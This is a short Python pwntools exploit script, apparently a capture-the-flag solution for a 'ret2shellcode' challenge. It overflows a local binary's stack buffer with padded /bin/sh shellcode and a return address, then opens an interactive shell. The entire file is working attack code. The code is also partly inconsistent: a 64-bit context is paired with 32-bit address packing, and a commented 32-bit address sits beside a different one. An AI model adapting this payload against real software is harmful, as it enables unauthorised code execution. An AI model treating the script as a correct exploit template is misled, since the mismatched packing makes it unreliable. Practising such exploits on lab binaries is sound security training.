#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')

context.arch = 'amd64'
context.os = 'linux'
context.endian = 'little'
context.word_size = 64

shellcode = asm(shellcraft.sh())
#print shellcraft.sh()
buf2_addr = 0x401227 	# 0x804a080

sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
sh.interactive()
